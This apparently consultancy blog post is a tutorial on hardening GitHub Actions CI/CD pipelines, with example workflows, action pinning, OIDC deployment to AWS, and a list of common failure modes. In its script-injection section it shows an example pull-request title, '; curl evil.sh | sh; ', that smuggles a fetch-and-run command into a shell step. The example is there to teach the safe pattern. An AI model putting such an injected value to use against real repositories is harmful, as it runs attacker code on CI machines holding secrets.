Home/Blog

GitHub Actions CI/CD: Building a Secure Production Pipeline

A complete GitHub Actions CI/CD pipeline: SHA-pinned actions, OIDC cloud auth, caching, environments, attestations, and the failure modes that bite teams.

GitHub Actions CI/CD: Building a Secure Production Pipeline

A production GitHub Actions pipeline runs fast, parallel checks on every pull request, builds one immutable artifact when code merges, and promotes that same artifact through environments using short-lived OIDC credentials and human approval where it matters. The security baseline is no longer optional: pin every third-party action to a full commit SHA, default permissions to nothing, never run fork code under pull_request_target, and grant id-token: write only to the job that deploys. Below is a complete, copy-pasteable setup with the reasoning behind each line, using action versions current in October 2026.

Key takeaways

  • Split the pipeline into a PR workflow (fast checks, no secrets) and a release workflow (build once, attest, deploy by digest).
  • Pin actions to commit SHAs with a version comment, enforce it with the organization policy, and let Dependabot propose updates after a cooldown.
  • Start every workflow with permissions: {} and grant per job. Deploy with OIDC roles scoped to a repository and environment, not stored cloud keys.
  • Use GitHub Environments for approvals, branch restrictions and environment-scoped secrets, and never cancel a deploy halfway through.
  • Treat caches and privileged triggers as attack surface: no cache restore in the job that can mint tokens, and no fork code under pull_request_target.
  • Most pipeline pain is operational: required checks stuck behind path filters, bot commits that never trigger CI, flaky tests and runaway jobs.

The shape of the pipeline

StageTriggerWhat it doesCredentials
CIpull_request, merge_groupLint, typecheck, tests, workflow audit, build without pushRead-only token, no secrets
BuildPush to mainBuild the image once, push, attach SBOM and provenanceRegistry push, attestation
StagingAfter buildDeploy the digest, run smoke testsOIDC role for staging
ProductionAfter staging passesRequired reviewer approves, deploy the same digestOIDC role for production

Build once is the rule that matters most. If production rebuilds from source, you are deploying something nobody tested. Every stage after the build refers to the image by its digest.

If you deploy to Kubernetes with Argo CD or Flux, the staging and production jobs become pull requests against a deployment repository instead of direct deploys. Our GitOps guide covers that variant; everything up to the build is identical.

The CI workflow

name: CI
 
on:
  pull_request:
  merge_group:
 
permissions: {}
 
concurrency:
  group: ci-${{ github.event.pull_request.number || github.ref }}
  cancel-in-progress: true
 
jobs:
  checks:
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    permissions:
      contents: read
    strategy:
      fail-fast: false
      matrix:
        task: [lint, typecheck, "test:unit"]
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci --ignore-scripts
      - run: npm run ${{ matrix.task }}
 
  integration:
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    permissions:
      contents: read
    services:
      postgres:
        image: postgres:17
        env:
          POSTGRES_PASSWORD: postgres
        ports:
          - 5432:5432
        options: >-
          --health-cmd "pg_isready -U postgres"
          --health-interval 5s
          --health-retries 10
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci --ignore-scripts
      - run: npm run test:integration
        env:
          DATABASE_URL: postgres://postgres:postgres@localhost:5432/postgres
 
  workflow-audit:
    runs-on: ubuntu-24.04
    timeout-minutes: 5
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: pipx run zizmor==1.30.1 --min-severity medium .

Line by line, the parts that matter:

  • merge_group runs CI on the merge queue's temporary branch, so main is tested with the exact combination of changes that will land.
  • permissions: {} at the top removes every default permission; each job then asks for only contents: read. Repositories created recently default the token to read-only, older ones may still default to read-write, so be explicit either way.
  • concurrency with cancel-in-progress stops runs for commits that have already been superseded on the same pull request.
  • timeout-minutes matters because the default job timeout is six hours. A hung test should fail in minutes, not burn an afternoon of runner time.
  • persist-credentials: false keeps the checkout token off disk, so later steps (and anything they install) cannot reuse it.
  • npm ci --ignore-scripts installs exactly the lockfile and skips install hooks, the mechanism several recent npm attacks used to run code on CI machines.
  • The service container gives integration tests a real Postgres, with a health check so tests start only when it accepts connections.
  • zizmor statically audits the workflows themselves for template injection, unpinned actions, dangerous triggers and excessive permissions.

Pin every action to a commit SHA

A tag such as @v4 is a pointer. Whoever controls the action's repository, legitimately or not, can move it. On March 19, 2026, attackers used stolen credentials to force-push 76 of 77 version tags of aquasecurity/trivy-action to credential-stealing code (GHSA-69fq-xp46-6x23). A year earlier, the same technique hit tj-actions/changed-files. Workflows pinned to a recent full commit SHA kept running the code they had reviewed. Pins to commits from before April 9, 2025 still pulled a compromised aquasecurity/setup-trivy, because those older commits referenced it by tag.

Pin with a version comment so humans and Dependabot can read it:

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

The pins used in this post, resolved from each action's latest release in early October 2026:

ActionVersionCommit SHA
actions/checkoutv7.0.13d3c42e5aac5ba805825da76410c181273ba90b1
actions/setup-nodev7.0.0820762786026740c76f36085b0efc47a31fe5020
docker/setup-buildx-actionv4.4.1f87e5991a6d7451dcb8d9637bfbc97413f497069
docker/login-actionv4.6.0dbcb813823bdd20940b903addbd779551569679f
docker/build-push-actionv7.4.0c3c9e263c25d99ce0380d002d59b67737d91b0dc
actions/attest-build-provenancev4.2.24d101475d8b20a2381f78447822ac1eab6504dd8
aws-actions/configure-aws-credentialsv6.3.0e1253824e5c10ff9df46874f81ed3ec929e19cfd

Verify a pin yourself before adopting it: gh api repos/actions/checkout/commits/v7.0.1 --jq .sha should print the same SHA.

Then make pinning stick. Organization and repository admins can turn on the allowed-actions policy that requires full-length SHAs, and any workflow that references an action by tag or branch fails. Keep pins current with Dependabot, which updates both the SHA and the version comment. A cooldown means you never adopt a release in its first days, when hijacked releases are usually caught:

version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    cooldown:
      default-days: 7
    groups:
      actions:
        patterns: ["*"]

Deploy with OIDC, not stored keys

Long-lived cloud keys in repository secrets are the credential most worth stealing from a CI system. With OIDC, the job requests a signed token from GitHub describing exactly which repository, branch and environment it is running for, and your cloud exchanges it for short-lived credentials.

On AWS, create an IAM OIDC identity provider for token.actions.githubusercontent.com, then a role per environment whose trust policy accepts only that environment of that repository:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub": "repo:acme/api:environment:production"
        }
      }
    }
  ]
}

The sub condition is what makes this safe. Without it, any repository on GitHub could assume the role. Scoping it to environment:production means only jobs that passed the production environment's protection rules can get these credentials. Google Cloud (Workload Identity Federation with google-github-actions/auth) and Azure (federated credentials with azure/login) follow the same model. Our cloud IAM guide covers the IAM side on all three.

The release workflow

name: Release
 
on:
  push:
    branches: [main]
 
permissions: {}
 
concurrency:
  group: release-main
  cancel-in-progress: false
 
env:
  IMAGE: ghcr.io/acme/api
 
jobs:
  build:
    runs-on: ubuntu-24.04
    timeout-minutes: 30
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
    outputs:
      digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1
      - uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: push
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          push: true
          platforms: linux/amd64,linux/arm64
          tags: ${{ env.IMAGE }}:${{ github.sha }}
          sbom: true
          provenance: mode=max
      - uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2
        with:
          subject-name: ${{ env.IMAGE }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
 
  deploy-staging:
    needs: build
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    environment: staging
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::111122223333:role/github-deploy-staging
          aws-region: us-east-1
      - run: ./deploy/deploy.sh staging "${IMAGE}@${DIGEST}"
        env:
          DIGEST: ${{ needs.build.outputs.digest }}
      - run: ./deploy/smoke-test.sh https://staging.example.com
 
  deploy-production:
    needs: [build, deploy-staging]
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::111122223333:role/github-deploy-production
          aws-region: us-east-1
      - run: ./deploy/deploy.sh production "${IMAGE}@${DIGEST}"
        env:
          DIGEST: ${{ needs.build.outputs.digest }}

Design decisions worth copying:

  • The image name is a fixed lowercase string. Registry names must be lowercase, and github.repository often is not.
  • No cache in the build job. This job can mint OIDC tokens and push to the registry. Restoring a cache another workflow wrote is how the TanStack packages were compromised in May 2026: a pull_request_target workflow poisoned a cache that the release workflow later restored. Our write-up of those attacks covers the mechanics. Take the slower build; or use a registry cache that only this workflow can write.
  • SBOM, provenance and an attestation. BuildKit attaches the SBOM and provenance to the image; attest-build-provenance records a signed statement that this digest was built by this workflow at this commit. Anyone can check it with gh attestation verify oci://ghcr.io/acme/api@sha256:... --owner acme. Provenance proves where an artifact was built, not that the build was clean, which is why the rest of this list exists.
  • Deploy by digest. Both environments receive the digest from the build job's outputs, so production runs the bytes staging tested.
  • cancel-in-progress: false for releases. Canceling a deploy halfway can leave a database migration applied and the old code running. Queue releases instead.
  • Deploy scripts live in the repository. The workflow orchestrates; the script does the work and can be run by a human during an incident. Keep it idempotent.

Configure the production environment with required reviewers, a deployment branch rule that allows only main, and secrets scoped to that environment. Anything production-only that cannot use OIDC belongs there, not in repository secrets.

Reusable workflows and composite actions

When several repositories share a pipeline, put it in a reusable workflow and call it pinned to a SHA, not @main, for the same reason you pin third-party actions:

jobs:
  ci:
    uses: acme/shared-workflows/.github/workflows/node-ci.yml@0123456789abcdef0123456789abcdef01234567 # v3.1.0
    permissions:
      contents: read
    with:
      node-version-file: .nvmrc

The called workflow declares its interface with on: workflow_call and typed inputs. Pass secrets explicitly rather than with secrets: inherit, which hands every repository secret to the shared code. Use a composite action (a runs: using: composite block in .github/actions/<name>/action.yml) for repeated steps inside one repository, such as setup, where a whole workflow would be overkill.

Keeping it fast

  • Parallelize by job, as in the CI workflow above. The wall-clock time of the pipeline is its slowest job.
  • Cache downloads keyed on the lockfile. setup-node with cache: npm does this. Cache what is expensive to fetch, not build outputs that are cheap to recreate and risky to trust.
  • Cache Docker layers in CI builds with cache-from: type=gha and cache-to: type=gha,mode=max on pull request builds, where the cache is scoped to the pull request's merge ref.
  • Shard slow test suites across a matrix (--shard=1/4 in Playwright, Vitest and Jest).
  • Use path filters carefully, for the reason in the next section.
  • Pin a runner image label such as ubuntu-24.04 rather than ubuntu-latest, and move to a new image deliberately. When latest moves, tool versions change underneath every workflow at once.

What goes wrong in production

Script injection through expressions. ${{ }} expressions are substituted into the script before the shell runs it. A pull request titled "; curl evil.sh | sh; " becomes code:

- name: Unsafe
  run: echo "Title: ${{ github.event.pull_request.title }}"
- name: Safe
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Pass untrusted values through environment variables, always. zizmor flags the unsafe pattern.

Privileged triggers running fork code. pull_request_target and workflow_run run with the base repository's secrets and write token, and can read its default branch cache. If they build or execute pull request code, a fork owns your pipeline. actions/checkout v7, and the July 2026 releases of v2 through v6, refuse to check out fork pull request code under these triggers unless you set allow-unsafe-pr-checkout: true. Do not set it. Use plain pull_request for anything that runs contributor code.

Required checks stuck on "Expected". If a workflow that provides a required status check is skipped because of a paths filter, the check stays pending and the pull request cannot merge. Either run required workflows unconditionally and skip work inside them, or make the required check a small aggregator job that always runs.

Bot commits that never run CI. Events created with the default GITHUB_TOKEN do not start new workflow runs (workflow_dispatch and repository_dispatch excepted), to prevent loops. A dependency bot or release job that opens a pull request with that token produces a pull request with no checks. Use a GitHub App installation token, minted per job with actions/create-github-app-token.

Secrets missing for contributors. Workflows triggered from forks do not receive secrets. If CI needs secrets to pass, outside contributors can never pass it. Design PR CI to run without secrets and keep secret-dependent tests in post-merge workflows.

Flaky tests erode the gate. Engineers learn to press re-run, then to merge on red. Track flaky tests, quarantine them with an owner and a deadline, and fix the race instead of adding retries that hide it.

Self-hosted runners that persist. A long-lived self-hosted runner keeps files, credentials and processes from one job to the next. Use ephemeral, just-in-time runners that serve one job and are destroyed, never attach self-hosted runners to public repositories, and treat the runner host as part of your production attack surface. Our DevSecOps pipeline guide covers scanning and policy gates that sit on top of this pipeline.

Frequently Asked Questions

Is GitHub Actions good enough for production CI/CD?

Yes, for most teams whose code already lives on GitHub. It covers parallel CI, container builds, environments with approvals, OIDC federation to every major cloud and artifact attestations. The risk is not capability but configuration: unpinned actions, broad token permissions and privileged triggers are where production incidents start.

Why pin GitHub Actions to a commit SHA instead of a tag?

A tag is a pointer the action's maintainer, or an attacker with their credentials, can move to different code at any time. A full commit SHA always refers to the same code. In March 2026 attackers force-pushed 76 of 77 tags of the aquasecurity/trivy-action action to malicious commits, and workflows pinned to a recent SHA were unaffected.

How do I deploy to AWS from GitHub Actions without access keys?

Use OpenID Connect. Create an IAM OIDC identity provider for token.actions.githubusercontent.com, create a role whose trust policy only accepts tokens for your repository and environment, grant the job id-token: write, and use aws-actions/configure-aws-credentials with role-to-assume. The job receives short-lived credentials and there is no long-lived key to leak.

What is the difference between a reusable workflow and a composite action?

A reusable workflow is a whole workflow with its own jobs, runners and permissions, called from another workflow's job with the uses key. A composite action is a bundle of steps that runs inside the calling job on the same runner. Use reusable workflows to standardize pipelines across repositories, and composite actions to remove repeated setup steps.

How do I speed up GitHub Actions?

Run independent checks as parallel jobs, cache dependency downloads keyed on the lockfile, cache Docker layers, and cancel superseded runs with a concurrency group. Shard slow test suites across a matrix, and set timeout-minutes so hung jobs fail quickly instead of running for hours. Measure before optimizing, because one slow job usually dominates.

Is pull_request_target safe to use?

Only if the workflow never checks out or runs code from the pull request. pull_request_target runs with the base repository's secrets and token permissions, so executing a fork's code there hands an attacker those privileges. actions/checkout version 7, and the July 2026 releases of older major versions, refuse to check out fork pull request code under pull_request_target unless you explicitly opt in.

Need help with your delivery pipeline?

We build CI/CD pipelines that teams trust enough to deploy on a Friday: fast checks, one artifact, OIDC everywhere, and runbooks for when a deploy goes sideways. If we built it, we are on the pager for it, and the first conversation is with the engineer who would do the work.